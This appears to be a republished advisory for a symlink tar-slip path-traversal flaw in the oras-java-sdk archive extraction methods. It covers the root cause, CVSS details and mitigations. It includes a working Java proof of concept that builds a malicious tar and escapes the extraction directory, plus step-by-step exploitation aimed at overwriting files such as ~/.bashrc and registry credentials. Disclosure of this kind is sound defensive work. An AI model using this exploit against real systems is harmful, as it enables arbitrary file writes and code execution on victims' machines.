Listen to this Post
How the Vulnerability Works
The vulnerability resides in the `ArchiveUtils.untar(InputStream, Path)` and `ArchiveUtils.unzip(InputStream, Path)` methods of the `land.oras:oras-java-sdk` library (versions ≤ 0.6.3). These methods extract tar and zip archives but fail to validate the target of symbolic link entries contained within the archive. The existing `ensureSafeEntry` containment check only validates the entry’s name (entry.getName()) against the extraction root, not the symlink’s target (entry.getLinkName()).
A malicious archive can contain two entries:
- A symbolic link that points outside the extraction directory.
- A regular file whose path traverses through that symlink (e.g.,
evil-link/../../etc/passwd).
When the SDK extracts the symlink, it creates it without checking where it points. When the subsequent regular file is extracted, `Files.newOutputStream` follows the symlink and writes the file outside the intended target directory. The `createSymbolicLink` call does not validate the link target, and the file write does not useLinkOption.NOFOLLOW_LINKS, allowing the traversal.
This vulnerability is reachable through the public `Registry.pullArtifact` and `OCILayout.pullArtifact` APIs when the manifest layer includesio.deis.oras.content.unpack=true. It is also reachable by any direct caller ofArchiveUtils.untar,ArchiveUtils.uncompressuntar, orArchiveUtils.unzip.
An attacker can exploit this by serving a malicious OCI artifact or archive blob via a compromised registry, typo-squatting, or MITM attack. No authentication is required beyond what is needed to pull the artifact.
The root cause is in `ArchiveUtils.java` lines 400-443 for `untar` and lines 350-393 forunzip. The `ensureSafeEntry` method (lines 261-268) only normalizes `entry.getName()` against the target directory. The symlink’s `getLinkName()` is passed directly to `createSymbolicLink` without validation. The subsequent file write uses `Files.newOutputStream` withoutNOFOLLOW_LINKS, so the write resolves the symlink and lands outside the target.
This vulnerability bypasses the previous path-traversal fix (PR 703, released in 0.6.2) which addressed the `org.opencontainers.image.` annotation sink (GHSA-xm96-gfjx-jcrc) but did not extend containment to symlink targets.
A proof of concept demonstrates that a malicious tar can create a symlink pointing outside the target directory and then write a file outside the target by traversing through that symlink. The impact is arbitrary file write with the privileges of the JVM process, leading to potential code execution, supply-chain pivots, and overwriting of critical files like~/.bashrc,~/.docker/config.json, and systemd unit files. The CVSS 3.1 score is 8.6 (HIGH).
The suggested fix involves two complementary changes: (1) validate symlink targets against the extraction root before creating them, and (2) open regular-file writes with `LinkOption.NOFOLLOW_LINKS` and `StandardOpenOption.CREATE_NEW` to prevent following existing symlinks.
DailyCVE Form:
Platform: …….
Version: ……..
Vulnerability :……
Severity: …….
date: ……….
Prediction: here you should include expected Patch date.
DailyCVE Form:
Platform: ……. `land.oras:oras-java-sdk`
Version: …….. `<= 0.6.3`
Vulnerability :...... `Symlink Tar-Slip (Path Traversal)`
Severity: ....... `HIGH (CVSS 8.6)`
date: .......... `2026-07-01`
Prediction: `2026-07-15`
What Undercode Say:
Analytics:
- Affected Component: `ArchiveUtils.untar` and `ArchiveUtils.unzip` in `land.oras:oras-java-sdk`
– Attack Vector: Network (AV:N) - Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- Exploitability: Public PoC available
- Active Exploitation: None reported
Bash Commands & Codes:
Check affected version in pom.xml grep -A 5 "land.oras" pom.xml | grep version Build and run the PoC (requires JDK 8+ and Maven) mvn clean compile mvn exec:java -Dexec.mainClass="TarSlipPoc" Expected output: ESCAPED.txt pre-extract: false ESCAPED.txt post-extract (outside target): true
PoC Java Code (TarSlipPoc.java):
import land.oras.utils.ArchiveUtils;
import org.apache.commons.compress.archivers.tar.TarArchiveEntry;
import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream;
import java.io.;
import java.nio.file.;
public class TarSlipPoc {
public static void main(String[] args) throws Exception {
Path tmp = Files.createTempDirectory("orasslip-");
Path target = tmp.resolve("safe-output");
Files.createDirectories(target);
Path escapeFile = tmp.resolve("ESCAPED.txt");
Files.deleteIfExists(escapeFile);
Path mtar = tmp.resolve("malicious.tar");
try (TarArchiveOutputStream tout = new TarArchiveOutputStream(Files.newOutputStream(mtar))) {
tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX);
// Symlink pointing outside target
TarArchiveEntry symlinkEntry = new TarArchiveEntry("evil-link", TarArchiveEntry.LF_SYMLINK);
symlinkEntry.setLinkName(tmp.toAbsolutePath().toString());
symlinkEntry.setMode(0777);
tout.putArchiveEntry(symlinkEntry);
tout.closeArchiveEntry();
// Regular file traversing through symlink
byte[] data = "POC SUCCESS\n".getBytes();
TarArchiveEntry fileEntry = new TarArchiveEntry("evil-link/ESCAPED.txt");
fileEntry.setSize(data.length);
fileEntry.setMode(0644);
tout.putArchiveEntry(fileEntry);
tout.write(data);
tout.closeArchiveEntry();
}
System.out.println("ESCAPED.txt pre-extract: " + Files.exists(escapeFile));
ArchiveUtils.untar(mtar, target);
System.out.println("ESCAPED.txt post-extract (outside target): " + Files.exists(escapeFile));
}
}
Maven pom.xml dependency:
<dependency> <groupId>land.oras</groupId> <artifactId>oras-java-sdk</artifactId> <version>0.6.3</version> </dependency>
How Exploit:
- Craft Malicious Archive: Create a tar or zip with a symlink entry pointing outside the extraction directory (e.g., `/tmp/` or
../../). - Add Traversal File: Include a regular file entry whose path traverses through the symlink (e.g.,
symlink/../../etc/passwd). - Host as OCI Layer: Push the archive as an OCI layer blob to a registry with
io.deis.oras.content.unpack=true. - Victim Pulls Artifact: The victim’s
oras-java-sdk-based tool pulls the artifact and extracts it using `ArchiveUtils.untar` orunzip. - Symlink Creation: The symlink is created without target validation.
- File Write Escape: The subsequent file write follows the symlink and writes the payload outside the target directory.
- Arbitrary Write Achieved: The attacker can overwrite any file the JVM process has write access to.
Exploit Requirements:
- Network access to serve the malicious artifact (compromised registry, MITM, or malicious upstream)
- Victim uses `oras-java-sdk` ≤ 0.6.3 and extracts attacker-controlled content
- No user interaction or authentication beyond normal pull
Protection:
- Upgrade: Update to a patched version (≥ 0.6.4) once available.
- Workaround: Avoid extracting untrusted archives with
ArchiveUtils.untar/unzip. Use a custom extraction routine that validates symlink targets and usesNOFOLLOW_LINKS. - Input Validation: Before extraction, scan the archive for symlink entries and reject any whose target escapes the extraction root.
- Filesystem Permissions: Run extraction processes with the least privileges necessary; restrict write access to sensitive directories.
- Registry Trust: Only pull artifacts from trusted registries and verify artifact provenance (e.g., signatures, SBOM).
- Monitoring: Monitor for unexpected file writes outside expected extraction directories.
Impact:
- Arbitrary File Write: Attackers can write files anywhere the JVM process can write, including system directories, user home, and CI workspace siblings.
- Code Execution: Overwriting shell init files (
~/.bashrc), cron jobs, systemd units, SSHauthorized_keys, or CI scripts can lead to remote code execution. - Supply-Chain Pivot: Any consumer of `oras-java-sdk` that pulls and extracts artifacts becomes vulnerable, affecting project-scaffolding CLIs, Helm-OCI fetchers, and CNCF artifact handlers.
- Credential Theft: Overwriting `~/.docker/config.json` or `~/.config/containers/auth.json` can plant attacker registry credentials.
- CVSS Score: 8.6 (HIGH) – AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

